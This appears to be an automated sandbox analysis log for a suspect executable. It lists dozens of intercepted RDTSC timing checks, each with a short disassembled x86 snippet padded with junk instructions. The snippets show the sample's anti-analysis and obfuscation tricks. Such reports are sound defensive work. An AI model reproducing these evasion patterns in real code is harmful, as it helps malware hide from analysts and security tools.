Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9FE204 second address: 9FE20A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 98D6E7 second address: 98D6EC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A05CE8 second address: A05CF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FDFED133C46h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A05CF4 second address: A05D03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jp 00007FDFECF67A6Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9834C4 second address: 9834C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9834C8 second address: 9834CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9834CE second address: 9834D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9834D4 second address: 9834DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9834DA second address: 9834DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9834DE second address: 9834E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A04BEA second address: A04C04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C53h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C62BF second address: 9C62C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C62C3 second address: 9C62C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C68C3 second address: 9C68E1 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDFECF67A68h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push edi 0x0000000f jp 00007FDFECF67A66h 0x00000015 pop edi 0x00000016 push eax 0x00000017 push edx 0x00000018 jnl 00007FDFECF67A66h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C68E1 second address: 822847 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D1B05h], edi 0x0000000e push dword ptr [ebp+122D033Dh] 0x00000014 pushad 0x00000015 add dword ptr [ebp+122D1AFBh], ebx 0x0000001b pushad 0x0000001c and al, FFFFFFC3h 0x0000001f popad 0x00000020 popad 0x00000021 call dword ptr [ebp+122D1B38h] 0x00000027 pushad 0x00000028 cmc 0x00000029 xor eax, eax 0x0000002b stc 0x0000002c mov edx, dword ptr [esp+28h] 0x00000030 mov dword ptr [ebp+122D1F3Ah], ecx 0x00000036 mov dword ptr [ebp+122D2A16h], eax 0x0000003c jmp 00007FDFED133C4Ch 0x00000041 mov esi, 0000003Ch 0x00000046 stc 0x00000047 add esi, dword ptr [esp+24h] 0x0000004b mov dword ptr [ebp+122D1F3Ah], eax 0x00000051 lodsw 0x00000053 jg 00007FDFED133C4Ch 0x00000059 add eax, dword ptr [esp+24h] 0x0000005d mov dword ptr [ebp+122D195Eh], ecx 0x00000063 mov ebx, dword ptr [esp+24h] 0x00000067 jmp 00007FDFED133C57h 0x0000006c push eax 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007FDFED133C52h 0x00000074 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C6955 second address: 9C695A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C695A second address: 9C69E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FDFED133C46h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jmp 00007FDFED133C50h 0x00000016 mov eax, dword ptr [eax] 0x00000018 pushad 0x00000019 push ecx 0x0000001a pushad 0x0000001b popad 0x0000001c pop ecx 0x0000001d jmp 00007FDFED133C52h 0x00000022 popad 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 push esi 0x00000028 jnl 00007FDFED133C4Ch 0x0000002e jns 00007FDFED133C46h 0x00000034 pop esi 0x00000035 pop eax 0x00000036 push 00000000h 0x00000038 push ebx 0x00000039 call 00007FDFED133C48h 0x0000003e pop ebx 0x0000003f mov dword ptr [esp+04h], ebx 0x00000043 add dword ptr [esp+04h], 00000018h 0x0000004b inc ebx 0x0000004c push ebx 0x0000004d ret 0x0000004e pop ebx 0x0000004f ret 0x00000050 mov di, F692h 0x00000054 push 38A3B69Fh 0x00000059 push eax 0x0000005a push edx 0x0000005b jnp 00007FDFED133C52h 0x00000061 jmp 00007FDFED133C4Ch 0x00000066 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C6C05 second address: 9C6C0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C6C0F second address: 9C6C13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C7138 second address: 9C71B4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDFECF67A66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FDFECF67A76h 0x00000010 pop eax 0x00000011 popad 0x00000012 push eax 0x00000013 jmp 00007FDFECF67A6Ah 0x00000018 nop 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007FDFECF67A68h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 00000018h 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 mov edi, dword ptr [ebp+122D2BA2h] 0x00000039 mov dword ptr [ebp+122D1E64h], ecx 0x0000003f push 0000001Eh 0x00000041 push eax 0x00000042 pushad 0x00000043 pushad 0x00000044 popad 0x00000045 mov ebx, dword ptr [ebp+122D28EAh] 0x0000004b popad 0x0000004c pop edx 0x0000004d push eax 0x0000004e jl 00007FDFECF67A78h 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007FDFECF67A6Ah 0x0000005b rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C75D6 second address: 9C75E9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDFED133C48h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C75E9 second address: 9C75EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C75EF second address: 9B0EB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007FDFED133C46h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f mov ecx, dword ptr [ebp+122D2B22h] 0x00000015 call dword ptr [ebp+122D1E97h] 0x0000001b push eax 0x0000001c push edx 0x0000001d push edx 0x0000001e jl 00007FDFED133C46h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B0EB4 second address: 9B0EB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B0EB9 second address: 9B0EF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C59h 0x00000007 je 00007FDFED133C48h 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 je 00007FDFED133C46h 0x00000019 jmp 00007FDFED133C4Bh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B0EF3 second address: 9B0EFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B0EFC second address: 9B0F02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B0F02 second address: 9B0F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A04EB6 second address: A04EBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A05324 second address: A05330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FDFECF67A66h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A05330 second address: A05334 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A054D1 second address: A054D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A058EF second address: A0593B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDFED133C54h 0x00000009 jmp 00007FDFED133C4Dh 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FDFED133C54h 0x00000016 jmp 00007FDFED133C50h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A0593B second address: A05941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A05941 second address: A05945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A08B7C second address: A08BBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A74h 0x00000007 pushad 0x00000008 jmp 00007FDFECF67A6Fh 0x0000000d push esi 0x0000000e pop esi 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 jmp 00007FDFECF67A6Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A08BBA second address: A08BBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A08BBE second address: A08BE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A6Dh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FDFECF67A70h 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A0DEFF second address: A0DF09 instructions: 0x00000000 rdtsc 0x00000002 js 00007FDFED133C46h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A0E1E9 second address: A0E1ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A0E1ED second address: A0E20E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDFED133C53h 0x0000000d jp 00007FDFED133C46h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A0E20E second address: A0E21C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A6Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A0E21C second address: A0E224 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A0E224 second address: A0E228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A0E37B second address: A0E380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A0E380 second address: A0E387 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A0E387 second address: A0E395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A0E395 second address: A0E3A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FDFECF67A6Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A0E4F3 second address: A0E4F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A0E4F7 second address: A0E511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDFECF67A70h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A0E511 second address: A0E515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A0E651 second address: A0E659 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A0E659 second address: A0E65E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A0E7CA second address: A0E7CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A0E7CE second address: A0E7E4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jl 00007FDFED133C46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007FDFED133C46h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A0E7E4 second address: A0E7FF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FDFECF67A75h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A0E7FF second address: A0E804 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A0EABE second address: A0EAC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A0EC1A second address: A0EC52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C58h 0x00000007 jmp 00007FDFED133C4Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop eax 0x00000012 pushad 0x00000013 js 00007FDFED133C46h 0x00000019 push eax 0x0000001a pop eax 0x0000001b push edi 0x0000001c pop edi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A0DB00 second address: A0DB05 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A0DB05 second address: A0DB0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A1424A second address: A1424E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A1424E second address: A14276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FDFED133C4Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDFED133C56h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A14276 second address: A14284 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDFECF67A66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A138C4 second address: A138CA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A146B5 second address: A146BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A146BC second address: A146C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A146C2 second address: A146C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A146C6 second address: A146CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A14ADE second address: A14AE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A19E49 second address: A19E4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A19E4F second address: A19E64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FDFECF67A66h 0x0000000a popad 0x0000000b pop edx 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007FDFECF67A66h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A21BC3 second address: A21BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A205AE second address: A205C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A76h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A206F4 second address: A206F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A20B22 second address: A20B26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A20B26 second address: A20B2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C6FC9 second address: 9C6FCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C6FCD second address: 9C6FD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C6FD7 second address: 9C6FFA instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDFECF67A66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c mov dword ptr [ebp+122D354Ch], edx 0x00000012 push 00000004h 0x00000014 mov dx, 87EAh 0x00000018 nop 0x00000019 push eax 0x0000001a push edx 0x0000001b jbe 00007FDFECF67A68h 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C6FFA second address: 9C7035 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDFED133C5Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007FDFED133C55h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A245B1 second address: A245B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A28BAE second address: A28BB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A28BB4 second address: A28BB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A28BB8 second address: A28C0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FDFED133C56h 0x0000000c jnl 00007FDFED133C46h 0x00000012 pop eax 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007FDFED133C4Fh 0x00000021 popad 0x00000022 pushad 0x00000023 jmp 00007FDFED133C4Fh 0x00000028 push edx 0x00000029 pop edx 0x0000002a pushad 0x0000002b popad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A28C0A second address: A28C10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A2EED8 second address: A2EEF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C55h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: A2F32C second address: A2F334 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
